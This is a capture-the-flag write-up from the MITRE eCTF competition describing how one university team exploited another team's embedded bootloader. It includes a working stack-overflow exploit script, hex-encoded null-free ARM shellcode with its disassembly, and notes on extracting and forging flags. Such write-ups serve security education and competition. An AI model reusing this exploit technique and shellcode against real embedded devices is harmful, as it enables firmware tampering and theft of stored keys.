Try   HackMD

MITRE eCTF: The Ohio State University Attacking University at Buffalo

Arbitrary code execution

The bug is in handle_update() in bootloader.c:

// Receive release message rel_msg_size = uart_readline(HOST_UART, rel_msg) + 1; // Include terminator

uart_readline() will continue to read data until a null byte or newline is encountered, allowing us to write unlimited data to the stack.

Two other issues that aid in exploitation are:

  • Memory protections are disabled
  • The firmware release message is not authenticated nor encrypted

To gain arbitrary code execution, we can:

  • Send shellcode in the release message, which gets written to flash
  • Overwrite the return address on the stack and jump to our shellcode in flash

We initially tried jumping to the shellcode in SRAM, but since SRAM adresses are of the form 0x2000????, which contains a null byte, we were not able to do so.

Out script is shown below:

import subprocess import pwn with open("firmware/fw_v0.prot", "rb") as f: fw = f.read() shellcode = bytes.fromhex("684681ea010182ea020202f2ff3202f2014247f694630ff2060e0ef1030e9f4644f244424fea02724cf2010121f0ff0142ea01010846694682ea020202f2ff3202f2014247f2e4239f46") payload = shellcode payload += pwn.cyclic((1024 + 24) - len(payload)) shellcode_addr = 0x2B408 # Address of the release message in flash payload += pwn.p32(shellcode_addr + 1) orig_release_message = b"Debug firmware version 0" fw = fw.replace(orig_release_message, payload) with open("firmware/fw_v0_exploit.prot", "wb") as f: f.write(fw) # Modify the `fw-update` command to read 2048 bytes of data afterwards, which # is the device's EEPROM cmd = """python3 tools/run_saffire.py fw-update \ --sysname saffire-phys \ --fw-root firmware/ \ --uart-sock 1339 \ --protected-fw-file fw_v0_exploit.prot """ subprocess.run(cmd, shell=True)

The shellcode disassembled and explained

The goal of our shellcode is to read EEPROM data and send it back to us over uart.

0x0000000000000000:  68 46          mov   r0, sp
0x0000000000000002:  81 EA 01 01    eor.w r1, r1, r1
0x0000000000000006:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000000a:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x000000000000000e:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000012:  47 F6 94 63    movw  r3, #0x7e94
0x0000000000000016:  0F F2 06 0E    addw  lr, pc, #6
0x000000000000001a:  0E F1 03 0E    add.w lr, lr, #3
0x000000000000001e:  9F 46          mov   pc, r3
0x0000000000000020:  44 F2 44 42    movw  r2, #0x4444
0x0000000000000024:  4F EA 02 72    lsl.w r2, r2, #0x1c
0x0000000000000028:  4C F2 01 01    movw  r1, #0xc001
0x000000000000002c:  21 F0 FF 01    bic   r1, r1, #0xff
0x0000000000000030:  42 EA 01 01    orr.w r1, r2, r1
0x0000000000000034:  08 46          mov   r0, r1
0x0000000000000036:  69 46          mov   r1, sp
0x0000000000000038:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000003c:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x0000000000000040:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000044:  47 F2 E4 23    movw  r3, #0x72e4
0x0000000000000048:  9F 46          mov   pc, r3

This shellcode makes a call to EEPromRead (at 0x7e94), followed by a call to uart_write (at 0x72e4). It was difficult to remove all of the null bytes from the shellcode. For example, we could not use regular indirect branch wth lr instructions (blr x3) since they contain a null byte. Instead, we manually set lr and then do the jump using mov pc, r3. We also have to obfuscate constants that would otherwise have a null byte in them (e.g. 0x800). The sequence is equivalent to:

EEPromRead(<stack address>, 0, 0x800)
uart_write(0x4000c000, <stack address>, 0x800)

Getting the flags

After dumping EEPROM from the device, getting the flags was relatively straightforward.

  • IP Extraction: Use the device's symmetric key to decrypt the firmware.
  • Flight Extraction: Use the device's symmetric key to decrypt the configuration.
  • Firmware Rollback: We reversed the decrypted firmware and found that it XOR's the fake flag with a string in EEPROM, giving us the real flag.
  • Data Extraction: This flag was dumped from EEPROM.
  • Flight Abort: We changed one of the airpoint names in the decrypted cfg0.bin, protected it, and loaded it onto the device. This caused the flight to abort.
  • Aircraft Crash: We took the firmware we created for the second reverse engineering, protected it, and loaded it on to the device. This caused the aircraft to crash.